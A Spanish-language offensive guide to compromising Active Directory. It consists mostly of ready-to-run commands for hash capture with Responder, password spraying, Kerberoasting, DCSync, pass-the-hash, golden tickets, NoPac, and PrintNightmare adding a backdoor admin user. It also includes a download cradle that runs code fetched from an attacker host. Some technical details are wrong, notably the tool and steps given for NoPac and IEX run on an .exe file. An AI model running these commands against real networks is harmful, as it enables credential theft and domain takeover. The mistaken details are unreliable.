Secciones
Introducción
En el mundo de la ciberseguridad ofensiva, el Active Directory (AD) se ha consolidado como uno de los objetivos más codiciados dentro de las redes empresariales. Esta tecnología, desarrollada por Microsoft, es utilizada por miles de organizaciones para la administración centralizada de identidades, accesos y políticas. Pero con su masiva adopción también llegan desafíos críticos en términos de seguridad.
Como investigador de seguridad, pentester o red teamer, comprender cómo funciona el AD y, sobre todo, cómo puede ser atacado, es una habilidad esencial. Es aquí donde entra en juego esta guía. Yo, DavidalVK, he decidido desarrollar un artículo exhaustivo que recopila las técnicas más efectivas de enumeración, reconocimiento, explotación y abuso de configuraciones en entornos Active Directory, todo ello con una base práctica apoyada en herramientas reales y comandos probados.
Esta guía no es solo un catálogo de comandos: cada técnica está explicada a profundidad, con el contexto necesario para entender el «por qué» y el «cómo» detrás de cada paso. Desde la identificación inicial de hosts hasta ataques complejos como Kerberoasting, NoPac o abuso de ACLs, encontrarás en estas páginas una referencia imprescindible.
Ya seas principiante o profesional, esta guía está diseñada para llevarte paso a paso en el descubrimiento de debilidades en un entorno Active Directory, respetando siempre un enfoque ético y educativo.
Prepárate para adentrarte en el corazón del directorio activo y descubrir las técnicas que los atacantes podrían estar usando ahora mismo contra tu infraestructura. ¡Comencemos!
1. Enumeración Inicial
Antes de lanzar cualquier ataque contra un entorno de Active Directory, el primer paso crítico es la enumeración inicial. Esta fase busca obtener la mayor cantidad posible de información del entorno objetivo, incluyendo nombres de dominio, direcciones IP, controladores de dominio, usuarios potenciales y servicios expuestos.
A continuación, exploramos las técnicas más efectivas para lograrlo, tanto en entornos internos como en pruebas de caja negra, usando herramientas comunes desde sistemas basados en Linux.
1.1. Resolución de nombres de dominio
Utiliza nslookup
para resolver nombres de dominio y obtener direcciones IP:
nslookup ns1.davidalvk.com
Este comando te permite verificar si el dominio responde y revelar información de la infraestructura DNS interna.
1.2. Análisis de red pasivo
Con tcpdump
, puedes capturar tráfico de red y analizar posibles resoluciones de nombres o comunicaciones interesantes:
sudo tcpdump -i ens224
Esto captura paquetes en la interfaz especificada (ens224 en este ejemplo). Útil para detectar broadcast como LLMNR o NBNS.
1.3. Ataques de escucha con Responder
Responder es una herramienta esencial para capturar hashes mediante la escucha de protocolos como LLMNR y NBNS:
sudo responder -I ens224 -A
Esto activa Responder en modo analítico para interceptar solicitudes y capturar credenciales que los clientes intentan resolver en la red.
1.4. Ping sweep para descubrir hosts
Utiliza fping
para hacer un barrido de red y descubrir sistemas activos:
fping -asgq 172.16.5.0/23
Este comando envia paquetes ICMP de manera silenciosa (-q
) y lista solo los hosts que responden (-a
).
1.5. Escaneo de servicios con Nmap
Para descubrir puertos abiertos, servicios y sistemas operativos, emplea un escaneo avanzado de Nmap:
sudo nmap -v -A -iL hosts.txt -oN /home/User/Documents/host-enum
Este escaneo:
- Usa
-A
para detección de SO, versiones y scripts. - Toma la lista de hosts desde
hosts.txt
(-iL
). - Guarda la salida en
host-enum
.
1.6. Descubrimiento de usuarios con Kerbrute
Kerbrute
es una herramienta muy últil para la enumeración de nombres de usuario en Active Directory mediante Kerberos:
Primero, clona y compila Kerbrute:
git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
make help
sudo make all
Ejecuta el binario generado:
./kerbrute_linux_amd64
Mueve el ejecutable a una ubicación en tu PATH:
sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
Ejecuta un escaneo de usuarios:
kerbrute userenum -d DAVIDALVK.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results
-d
: dominio--dc
: IP del controlador de dominiojsmith.txt
: diccionario de usuarios-o
: guarda resultados
Este ataque no requiere credenciales y permite validar usuarios existentes en el dominio mediante respuestas del servicio Kerberos.
Con estos pasos, ya tenemos una base sólida de información sobre la red, lo cual nos preparará para fases más ofensivas como ataques de envenenamiento o de autenticación. En el siguiente apartado, nos adentraremos en la explotación de servicios de resolución mediante LLMNR y NBNS. ¡Sigue leyendo!
2. Intoxicación por LLMNR y NBNS
Una vez completada la enumeración inicial, un siguiente paso muy efectivo para comprometer credenciales en un entorno Windows es la explotación de protocolos de resolución de nombres inseguros: LLMNR (Link-Local Multicast Name Resolution) y NBNS (NetBIOS Name Service).
Estos protocolos actúan como mecanismos de resolución de nombres de respaldo cuando el DNS falla. Muchos entornos corporativos no los deshabilitan, y eso abre la puerta a ataques de tipo spoofing y captura de hashes.
2.1. Escucha y respuesta con Responder
Responder es la herramienta por excelencia para interceptar y responder a solicitudes LLMNR y NBNS:
sudo responder -I ens224 -A
-I ens224
: Interfaz de red en la que operar.-A
: Activa todos los servicios posibles (LLMNR, NBNS, SMB, HTTP, etc.)
Responder emulará servicios y responderá a consultas de resolución, generando respuestas falsas para redirigir el tráfico y capturar hashes NTLMv2 de los usuarios que intenten conectarse a esos recursos.
2.2. Cracking de hashes capturados con Hashcat
Una vez capturado un hash, puedes intentar romperlo usando hashcat
:
hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt
-m 5600
: Especifica NTLMv2forend_ntlmv2
: Archivo con el hash capturadorockyou.txt
: Diccionario de palabras
2.3. Alternativa en Windows: Inveigh (PowerShell)
Si trabajas desde una estación Windows, puedes usar Inveigh
, una alternativa a Responder escrita en PowerShell.
Importa el módulo y revisa las funciones disponibles:
Import-Module .\Inveigh.ps1
(Get-Command Invoke-Inveigh).Parameters
Ejecuta Inveigh con todas las opciones activadas:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Para quienes prefieran una versión en binario:
.\Inveigh.exe
2.4. Hardening: Deshabilitar NetBIOS sobre TCP/IP
Para proteger los sistemas y evitar estas técnicas, puedes deshabilitar NetBIOS mediante PowerShell:
$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces"
Get-ChildItem $regkey | foreach {
Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose
}
Esto modifica las claves del registro para cada interfaz de red activa y desactiva NetBIOS.
La explotación de LLMNR y NBNS es una técnica altamente efectiva en redes mal configuradas. A menudo, es uno de los primeros vectores que permiten a un atacante interno capturar credenciales de acceso sin necesidad de explotar vulnerabilidades complejas. En el siguiente apartado, exploraremos la enumeración de políticas de contraseñas y ataques de password spraying. ¡No te lo pierdas!
3. Spoofing de Contraseñas y Políticas de Contraseñas
Una vez capturados hashes o detectados usuarios, el siguiente paso lógico es realizar ataques orientados a contraseñas. En esta sección nos enfocamos en explotar políticas de contraseñas débiles, realizar ataques de password spraying y extraer configuraciones relevantes desde Active Directory.
3.1. Generación de nombres de usuario
Es común que las organizaciones usen convenciones predecibles en los nombres de usuario. Podemos generar combinaciones posibles usando Bash:
#!/bin/bash
for x in {{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}
do
echo $x
done
Este script genera más de 16 millones de combinaciones posibles, útiles para ataques de fuerza bruta o para validar usuarios.
3.2. Enumerar la política de contraseñas (Linux)
Puedes usar CrackMapExec
, rpcclient
, enum4linux
y ldapsearch
para obtener información clave sobre la política de contraseñas:
crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol
rpcclient -U "" -N 172.16.5.5
rpcclient $> querydominfo
enum4linux -P 172.16.5.5
enum4linux-ng -P 172.16.5.5 -oA davidalvk
ldapsearch -h 172.16.5.5 -x -b "DC=DAVIDALVK,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
3.3. Enumerar la política de contraseñas (Windows)
En sistemas Windows puedes usar PowerShell y PowerView:
net accounts
Import-Module .\PowerView.ps1
Get-DomainPolicy
3.4. Descubrir usuarios del dominio (Linux)
enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
rpcclient -U "" -N 172.16.5.5
rpcclient $> enumdomusers
crackmapexec smb 172.16.5.5 --users
ldapsearch -h 172.16.5.5 -x -b "DC=DAVIDALVK,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
3.5. Password Spraying con herramientas diversas
Usando rpcclient
con lista de usuarios:
for u in $(cat valid_users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority
done
Con Kerbrute:
kerbrute passwordspray -d davidalvk.local --dc 172.16.5.5 valid_users.txt Welcome1
Con CrackMapExec:
crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
crackmapexec smb --local-auth 172.16.5.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
3.6. Password spraying desde Windows
Con PowerShell:
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
3.7. Validación de credenciales individuales
Con CrackMapExec:
crackmapexec smb 172.16.5.5 -u avazquez -p Password123
Como puedes ver, las políticas de contraseñas mal configuradas y el uso de combinaciones débiles son una mina de oro para un atacante. Las herramientas modernas permiten automatizar estos ataques y validar credenciales sin necesidad de fuerza bruta clásica. En el siguiente apartado exploraremos la enumeración de controles de seguridad como Windows Defender, AppLocker y LAPS. ¡Vamos a ello!
4. Enumeración de Controles de Seguridad
Una fase crucial antes de lanzar ataques más avanzados es identificar los mecanismos de seguridad activos en el entorno objetivo. Esto incluye antivirus, listas de control de aplicaciones, configuraciones del sistema y herramientas como LAPS (Local Administrator Password Solution). Esta información permite evaluar riesgos y preparar ataques sin activar alarmas innecesarias.
4.1. Comprobando Windows Defender
Puedes usar PowerShell para verificar el estado del antivirus integrado en Windows:
Get-MpComputerStatus
Este cmdlet devuelve información sobre las definiciones, estado del motor de escaneo, protección en tiempo real y más.
4.2. Verificando políticas AppLocker
AppLocker puede prevenir la ejecución de binarios no firmados o fuera de ubicaciones específicas. Para ver si está en uso:
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Esto listará todas las reglas activas para scripts, ejecutables, DLLs, etc.
4.3. Detectar el modo de lenguaje de PowerShell
Algunas configuraciones endurecidas de PowerShell limitan la ejecución de comandos. Puedes comprobarlo con:
$ExecutionContext.SessionState.LanguageMode
Valores como ConstrainedLanguage
pueden limitar severamente tus scripts.
4.4. Explorando LAPS (Local Administrator Password Solution)
LAPS gestiona contraseñas de administradores locales aleatoriamente. Para evaluar si está en uso y posibles configuraciones incorrectas, utiliza la LAPS Toolkit:
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights
Get-LAPSComputers
Find-LAPSDelegatedGroups
: Identifica grupos delegados con acceso a las contraseñas LAPS.Find-AdmPwdExtendedRights
: Verifica quién tiene derechos extendidos para leer contraseñas locales.Get-LAPSComputers
: Enumera equipos con LAPS habilitado y fechas de expiración de contraseñas.
Con esta información en mano, puedes planificar mejor tus movimientos. Por ejemplo, si AppLocker está habilitado, tal vez necesites ejecutar código desde rutas autorizadas. Si PowerShell está limitado, considera payloads nativos o binarios compilados. Y si LAPS está mal configurado, puedes obtener acceso privilegiado sin esfuerzo.
5. Enumeración con Credenciales
Una vez que dispones de credenciales válidas (ya sea por captura, spraying o phishing), puedes obtener información detallada del entorno Active Directory. Esta fase es esencial para identificar activos clave, usuarios privilegiados y recursos compartidos mal protegidos.
5.1. Acceso remoto con escritorio (RDP)
Usa xfreerdp
desde Linux para conectarte a una estación Windows mediante RDP:
xfreerdp /u:forend@davidalvk.local /p:Klmcargo2 /v:172.16.5.25
Este acceso te permitirá explorar el entorno como un usuario auténtico.
5.2. Enumeración de usuarios, grupos y sesiones
Con CrackMapExec
, puedes autenticarte y descubrir información sensible del dominio:
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups
crackmapexec smb 172.16.5.125 -u forend -p Klmcargo2 --loggedon-users
Estas opciones permiten descubrir la estructura del dominio, sesiones activas y usuarios conectados.
5.3. Exploración de recursos compartidos SMB
Con credenciales válidas puedes explorar recursos compartidos en profundidad:
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share Dev-share
Con smbmap
puedes ver permisos y hacer listado recursivo:
smbmap -u forend -p Klmcargo2 -d DAVIDALVK.LOCAL -H 172.16.5.5
smbmap -u forend -p Klmcargo2 -d DAVIDALVK.LOCAL -H 172.16.5.5 -R SYSVOL --dir-only
5.4. Uso de rpcclient para identificar usuarios
rpcclient $> queryuser 0x457
rpcclient $> enumdomusers
5.5. Acceso remoto con herramientas de Impacket
PsExec:
psexec.py davidalvk.local/wley:'transporter@4'@172.16.5.125
WMIexec:
wmiexec.py davidalvk.local/wley:'transporter@4'@172.16.5.5
Ambas permiten acceso remoto al sistema mediante autenticación SMB.
5.6. Enumeración LDAP con Windapsearch
windapsearch.py -h
python3 windapsearch.py --dc-ip 172.16.5.5 -u davidalvk\wley -p transporter@4 --da
python3 windapsearch.py --dc-ip 172.16.5.5 -u davidalvk\wley -p transporter@4 -PU
--da
: muestra el grupo Domain Admins.-PU
: explora usuarios con privilegios anidados.
5.7. Enumeración avanzada con BloodHound
sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d davidalvk.local -c all
Esta herramienta recolecta y exporta datos de relaciones y permisos en el dominio, que luego pueden visualizarse en la GUI de BloodHound.
Esta fase marca un punto de inflexión: ya no se trata de escanear externamente sino de explotar la posición de un usuario válido dentro del dominio. En el próximo apartado exploraremos cómo realizar enumeraciones usando las propias herramientas disponibles dentro del sistema Windows. ¡Sigamos!
6. Enumeración con Herramientas del Propio Sistema
En muchas situaciones, el atacante se encuentra dentro de un sistema comprometido, con acceso a PowerShell o la terminal de Windows. En estos casos, es posible realizar una completa enumeración del entorno Active Directory utilizando solo herramientas ya presentes en el sistema o scripts como PowerView.
6.1. Inspección de módulos y carga de Active Directory
Primero, verifica qué módulos de PowerShell están disponibles:
Get-Module
Luego, importa el módulo de Active Directory (si está disponible):
Import-Module ActiveDirectory
6.2. Enumerar estructura del dominio
Get-ADDomain
Este comando devuelve información básica del dominio, incluyendo el nombre NetBIOS, controlador principal, SID y más.
6.3. Enumeración de usuarios con SPN
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Filtra usuarios que tengan un SPN configurado, útil para ataques como Kerberoasting.
6.4. Relaciones de confianza
Get-ADTrust -Filter *
Muestra las relaciones de confianza entre dominios, algo clave para movimientos laterales o ataques de escalado de privilegios.
6.5. Listado de grupos y sus miembros
Get-ADGroup -Filter * | select name
Get-ADGroup -Identity "Backup Operators"
Get-ADGroupMember -Identity "Backup Operators"
Estos comandos permiten descubrir grupos existentes y quién pertenece a ellos.
6.6. Recolección masiva con PowerView
Importa PowerView y comienza a usarlo:
Import-Module .\PowerView.ps1
A continuación, algunas funciones destacadas:
- Exportar datos a CSV
Export-PowerViewCSV
- Convertir usuarios a SID
ConvertTo-SID
- Obtener ticket SPN
Get-DomainSPNTicket
- Enumerar objetos AD
Get-Domain
Get-DomainController
Get-DomainUser
Get-DomainComputer
Get-DomainGroup
Get-DomainOU
- Buscar ACLs interesantes
Find-InterestingDomainAcl
Get-DomainObjectACL
- Ver recursos compartidos, sesiones y acceso administrativo
Get-NetLocalGroup
Get-NetLocalGroupMember
Get-NetShare
Get-NetSession
Test-AdminAccess
- Buscar ubicaciones de usuarios y archivos interesantes
Find-DomainUserLocation
Find-DomainShare
Find-InterestingDomainShareFile
- Buscar acceso local y confianzas de dominio
Find-LocalAdminAccess
Get-DomainTrust
Get-ForestTrust
- Usuarios y grupos externos
Get-DomainForeignUser
Get-DomainForeignGroupMember
Get-DomainTrustMapping
- Revisión profunda de «Domain Admins»
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
- Usuarios con SPNs definidos
Get-DomainUser * -spn | select samaccountname
6.7. Búsqueda de archivos con Snaffler
Si el sistema tiene acceso a recursos compartidos, Snaffler puede ser usado para localizar archivos sensibles:
.\Snaffler.exe -d DAVIDALVK.LOCAL -s -v data
Con estas herramientas internas, puedes realizar una completa enumeración del dominio desde el contexto de un usuario comprometido, sin levantar sospechas ni requerir herramientas externas. En la siguiente sección exploraremos cómo mover archivos entre equipos para ejecutar payloads o herramientas auxiliares. ¡Sigue leyendo!
7. Transferencia de Archivos
Una vez que tienes acceso a un sistema dentro del entorno, a menudo necesitarás transferir archivos: herramientas auxiliares, payloads, exploits, scripts de recolección, etc. Esta sección describe métodos sencillos y efectivos para mover archivos entre sistemas Linux y Windows.
7.1. Servidor HTTP rápido con Python
Una de las formas más fáciles de alojar archivos desde tu equipo atacante es usando Python:
sudo python3 -m http.server 8001
Esto inicia un servidor web en el puerto 8001 y sirve todos los archivos desde el directorio actual. Ideal para que sistemas Windows descarguen herramientas como PowerView, SharpHound, Rubeus, etc.
7.2. Descarga remota con PowerShell
En la máquina Windows objetivo, usa PowerShell para descargar archivos desde el servidor HTTP:
IEX(New-Object Net.WebClient).downloadString('http://172.16.5.222/SharpHound.exe')
Este comando ejecuta el contenido del script descargado directamente en memoria, evitando el uso del disco.
7.3. Compartir archivos por SMB con Impacket
Puedes usar Impacket para crear un servidor SMB desde Linux:
impacket-smbserver -ip 172.16.5.x -smb2support -username user -password password shared /home/administrator/Downloads/
Esto compartirá el contenido del directorio especificado bajo el nombre de recurso shared
. Luego puedes acceder desde Windows usando rutas UNC como:
\\172.16.5.x\shared\tool.exe
Tener la capacidad de transferir archivos rápida y silenciosamente es esencial para realizar movimientos posteriores y desplegar herramientas ofensivas. Ya sea por HTTP, SMB o incluso FTP en ciertos entornos, asegúrate de usar canales que eviten levantar sospechas innecesarias.
En la siguiente sección comenzamos con uno de los ataques más comunes y efectivos contra Active Directory: Kerberoasting. ¡Vamos a ello!
8. Kerberoasting
Kerberoasting es una técnica de post-explotación en Active Directory que permite obtener hashes de contraseñas de cuentas de servicio y crackearlos sin necesidad de generar tráfico de autenticación anómalo. Se basa en solicitar tickets Kerberos (TGS) asociados a cuentas con SPN configurados y luego forzar su descifrado offline.
8.1. Preparativos: Instalación de Impacket
Primero asegúrate de tener Impacket instalado:
sudo python3 -m pip install .
Esto se hace desde el directorio donde clonaste Impacket previamente.
8.2. Descubrir cuentas con SPN
GetUserSPNs.py -h
Este comando muestra las opciones disponibles.
Enumerar SPNs:
GetUserSPNs.py -dc-ip 172.16.5.5 DAVIDALVK.LOCAL/mholliday
8.3. Solicitar tickets TGS
Solicitar todos los tickets SPN:
GetUserSPNs.py -dc-ip 172.16.5.5 DAVIDALVK.LOCAL/mholliday -request
Solicitar un ticket específico:
GetUserSPNs.py -dc-ip 172.16.5.5 DAVIDALVK.LOCAL/mholliday -request-user sqldev
Guardar el ticket a archivo:
GetUserSPNs.py -dc-ip 172.16.5.5 DAVIDALVK.LOCAL/mholliday -request-user sqldev -outputfile sqldev_tgs
8.4. Cracking del hash Kerberos
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force
Esto inicia el descifrado del hash Kerberos TGS.
8.5. En Windows: SPN y PowerShell
Enumerar SPNs:
setspn.exe -Q */*
Solicitar ticket con PowerShell:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.davidalvk.local:1433"
Obtener todos los SPNs y tickets:
setspn.exe -T DAVIDALVK.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
8.6. Extracción y decodificación de tickets TGS
Con Mimikatz:
mimikatz # kerberos::list /export
mimikatz # base64 /out:true
Preparar y decodificar hash:
echo "<base64 blob>" | tr -d \n > encoded_file
cat encoded_file | base64 -d > sqldev.kirbi
python2.7 kirbi2john.py sqldev.kirbi
Formatear para hashcat:
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1\*$\2/' crack_file > sqldev_tgs_hashcat
cat sqldev_tgs_hashcat
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt
8.7. PowerView y Rubeus
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\davidalvk_tgs.csv -NoTypeInformation
Con Rubeus:
.\Rubeus.exe
.\Rubeus.exe kerberoast /stats
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
.\Rubeus.exe kerberoast /user:testspn /nowrap
Verificar tipos de cifrado:
Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes
Descifrar hash TGS con hashcat:
hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt
Kerberoasting permite obtener acceso a cuentas privilegiadas que usan contraseñas reutilizadas o débiles. Es silencioso, eficiente y altamente exitoso en entornos mal configurados. En la próxima sección cubriremos la enumeración de ACLs y cómo detectar objetos con permisos excesivos. ¡Adelante!
9. Enumeración y Tácticas de ACL
Las listas de control de acceso (ACLs) en Active Directory definen qué usuarios o grupos pueden realizar acciones sobre otros objetos del dominio. Identificar ACLs mal configuradas puede llevar directamente a la escalada de privilegios.
9.1. Enumerar ACLs con PowerView
Import-Module .\PowerView.ps1
Enumerar ACLs de objetos del dominio:
Get-DomainObjectACL -Identity "DAVIDALVK.LOCAL" -ResolveGUIDs | Out-GridView
Enumerar ACLs de usuarios específicos:
Get-DomainObjectACL -Identity jsmith -ResolveGUIDs | Out-GridView
Buscar objetos con permisos interesantes:
Find-InterestingDomainAcl | Out-GridView
Verificar derechos de replicación (crítico para ataques DCSync):
Get-ObjectAcl -SamAccountName "svc-sync" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "Replicate" }
9.2. Enumerar con BloodHound
BloodHound permite analizar relaciones de control y permisos con visualizaciones gráficas.
Recolección con bloodhound-python:
bloodhound-python -u forend -p Klmcargo2 -ns 172.16.5.5 -d davidalvk.local -c acl
Importa los datos en la GUI de BloodHound y explora gráficamente caminos hacia objetivos de alto privilegio.
9.3. Enumerar con SharpHound (Windows)
Desde una sesión con permisos:
.\SharpHound.exe -c ACL
Sube el resultado .zip a BloodHound y analiza rutas de ataque como:
- Usuario puede cambiar la contraseña de otro
- Usuario puede replicar secretos del DC
- Grupo con WriteOwner o GenericAll sobre un objeto
Las ACLs son una mina de oro en entornos donde las GPOs o delegaciones han sido mal configuradas. Usar PowerView o BloodHound para identificarlas te permitirá planificar escaladas sin necesidad de explotar vulnerabilidades tradicionales. En el siguiente apartado hablaremos del ataque de sincronización del controlador de dominio, también conocido como DCSync.
10. Sincronización DC (DCSync)
El ataque conocido como DCSync permite a un atacante simular el comportamiento de un controlador de dominio y solicitar hashes de contraseñas de cualquier usuario del dominio, incluidos los administradores. Este ataque es posible cuando un usuario tiene derechos de replicación de directorio, algo que muchas veces está mal configurado en entornos Active Directory.
10.1. Comprobación de privilegios de replicación
Puedes usar PowerView para verificar si un usuario tiene permisos de replicación:
Get-ObjectAcl -SamAccountName 'svc-sync' -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "Replicate" }
Si el resultado indica permisos como Replicating Directory Changes
, el usuario puede realizar un DCSync.
10.2. Realizar ataque DCSync con Mimikatz
Inicia Mimikatz en una sesión con privilegios suficientes y ejecuta:
lsadump::dcsync /domain:davidalvk.local /user:Administrator
Esto devolverá el hash NTLM del usuario especificado. También puedes solicitar hashes de otros usuarios:
lsadump::dcsync /domain:davidalvk.local /user:krbtgt
Extraer el hash del krbtgt
permite generar tickets dorados (Golden Ticket).
10.3. DCSync con secretsdump.py (Impacket)
Desde un sistema Linux con Impacket:
secretsdump.py davidalvk.local/svc-sync:password123@172.16.5.5
Esto conectará al controlador de dominio y extraerá todos los hashes de cuentas AD si el usuario tiene los permisos necesarios.
10.4. Identificar posibles vectores con BloodHound
BloodHound permite visualizar qué usuarios tienen los derechos necesarios para DCSync. En la interfaz, puedes buscar rutas de ataque hacia usuarios con las siguientes propiedades:
Replicating Directory Changes
Replicating Directory Changes All
GenericAll
sobre el dominio
Filtra con queries como:
MATCH (n:User)-[r:AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner]->(m:Domain) RETURN n,r,m
El ataque DCSync es una de las técnicas más devastadoras en Active Directory: silenciosa, sin requerir ejecución de código en el controlador de dominio, y con la capacidad de otorgar acceso total. En el próximo apartado exploraremos cómo convertir estos hashes en acceso privilegiado utilizando Pass-the-Hash y Golden Tickets. ¡Sigue con nosotros!
11. Acceso Privilegiado
Una vez que disponemos de credenciales privilegiadas, hashes NTLM, tickets Kerberos o incluso usuarios con permisos especiales sobre el dominio, es momento de consolidar el acceso y elevar privilegios dentro del entorno. Esta sección muestra cómo utilizar estos elementos para acceder como Domain Admin, moverse lateralmente o mantener persistencia.
11.1. Pass-the-Hash con CrackMapExec
Si tienes un hash NTLM (por ejemplo, del ataque DCSync), puedes usarlo directamente sin conocer la contraseña:
crackmapexec smb 172.16.5.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf --local-auth
Este comando intenta autenticarse contra la red con el hash proporcionado.
11.2. Psexec con Credenciales o Hash
Usa psexec.py
de Impacket para obtener una shell remota en un sistema con privilegios de administrador:
psexec.py davidalvk.local/administrator:'Pass1234'@172.16.5.5
O bien, con hash:
psexec.py davidalvk.local/administrator@172.16.5.5 -hashes 88ad09182de639ccc6579eb0849751cf:88ad09182de639ccc6579eb0849751cf
11.3. Golden Ticket con Mimikatz
Si tienes el hash de la cuenta krbtgt
, puedes generar un ticket Kerberos para acceder como cualquier usuario.
En Mimikatz:
kerberos::golden /user:Administrator /domain:davidalvk.local /sid:S-1-5-21-XXX /krbtgt:<hash> /id:500
kerberos::ptt <ticket.kirbi>
Esto te otorga acceso como Domain Admin en todo el entorno.
11.4. Validación de privilegios
Valida que tienes acceso total:
crackmapexec smb 172.16.5.5 -u administrator -p 'Pass1234' --admin
En PowerShell:
whoami /groups
whoami /priv
Verifica si perteneces al grupo de Administradores del Dominio o si tienes privilegios elevados.
11.5. Movimiento lateral
Una vez con privilegios, puedes moverte hacia otros equipos usando:
psexec.py
wmiexec.py
smbexec.py
RDP
Y plantar herramientas como:
- SharpHound
- Mimikatz
- Rubeus
En esta etapa, el atacante ya posee control completo sobre el dominio. El acceso privilegiado abre las puertas para persistencia, exfiltración y control total. Pero también es un punto donde las detecciones son más críticas. A continuación, veremos vulnerabilidades específicas como NoPac, PrintNightmare y PetitPotam que permiten llegar a este punto incluso sin credenciales iniciales elevadas.
12. NoPac
NoPac es una combinación de vulnerabilidades descubiertas en 2021 que afecta a los controladores de dominio de Windows. Permite a un atacante escalar privilegios hasta Domain Admin explotando debilidades en la autenticación Kerberos y la gestión de atributos en objetos de Active Directory.
Específicamente, explota las vulnerabilidades CVE-2021-42278 (atributo samAccountName spoofing) y CVE-2021-42287 (privilegio de emisión de TGTs).
12.1. Requisitos para el ataque
- Acceso a un usuario de dominio (no necesita ser admin).
- Capacidad de renombrar objetos (usuarios) en el dominio.
- La configuración por defecto en AD no debe haber sido parcheada.
12.2. Herramienta: KrbRelayUp
KrbRelayUp
automatiza el proceso de explotación.
Descarga y ejecución:
git clone https://github.com/Dec0ne/KrbRelayUp.git
cd KrbRelayUp
python3 -m pip install -r requirements.txt
Ejecuta el ataque:
python3 KrbRelayUp.py --action auto --user USER --password PASSWORD --domain davidalvk.local --dc-ip 172.16.5.5
Esto realiza:
- Spoofing de samAccountName.
- Solicita un TGT con privilegios elevados.
- Ejecuta una reverse shell como SYSTEM en el controlador de dominio.
12.3. Validación manual del entorno vulnerable
Puedes verificar si la configuración es vulnerable utilizando PowerShell:
Get-ADUser -Filter * -Properties samAccountName | Where-Object { $_.samAccountName -like "*-$" }
Y revisar los parches aplicados:
Get-HotFix | Where-Object {$_.HotFixID -like "KB500*"}
Si el parche de noviembre o diciembre de 2021 no está presente, es probable que el entorno sea vulnerable.
NoPac es extremadamente poderoso ya que no requiere acceso privilegiado inicial, y permite escalar directamente a Domain Admin. Si el entorno está vulnerable, es una puerta trasera directa al control del dominio.
En el siguiente apartado veremos PrintNightmare, otra vulnerabilidad crítica que puede usarse para ejecución remota de comandos como SYSTEM.
13. PrintNightmare
PrintNightmare es una vulnerabilidad crítica en el servicio de cola de impresión de Windows (Print Spooler), identificada como CVE-2021-34527. Permite a un atacante autenticado ejecutar código arbitrario con privilegios SYSTEM en equipos remotos, incluyendo controladores de dominio.
13.1. Requisitos para explotar PrintNightmare
- El servicio Print Spooler debe estar habilitado en el equipo objetivo.
- El atacante debe tener credenciales válidas de dominio (aunque no necesariamente con privilegios elevados).
Puedes verificar el estado del servicio con PowerShell:
Get-Service -Name Spooler
13.2. Comprobación de vulnerabilidad
Con acceso RDP o remoto al sistema, verifica si el sistema tiene el parche correspondiente:
Get-HotFix | Where-Object {$_.HotFixID -like "KB500*"}
Si no se encuentra el parche de julio de 2021 o posterior, es posible que el sistema sea vulnerable.
13.3. Herramientas para explotar PrintNightmare
Con Invoke-Nightmare.ps1
Script de PowerShell que automatiza la explotación:
.\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser backdoor -NewPassword P@ssw0rd!
Esto creará un nuevo usuario local con privilegios administrativos.
Alternativa con ejecutable C#
Puedes compilar o descargar el exploit en formato .exe
y ejecutarlo:
.\PrintNightmare.exe backdoor P@ssw0rd!
Esto tiene el mismo efecto: crea un usuario local en el objetivo con privilegios de administrador.
13.4. Mitigación y detección
- Deshabilitar el servicio Print Spooler en sistemas que no lo necesiten:
Stop-Service -Name Spooler
Set-Service -Name Spooler -StartupType Disabled
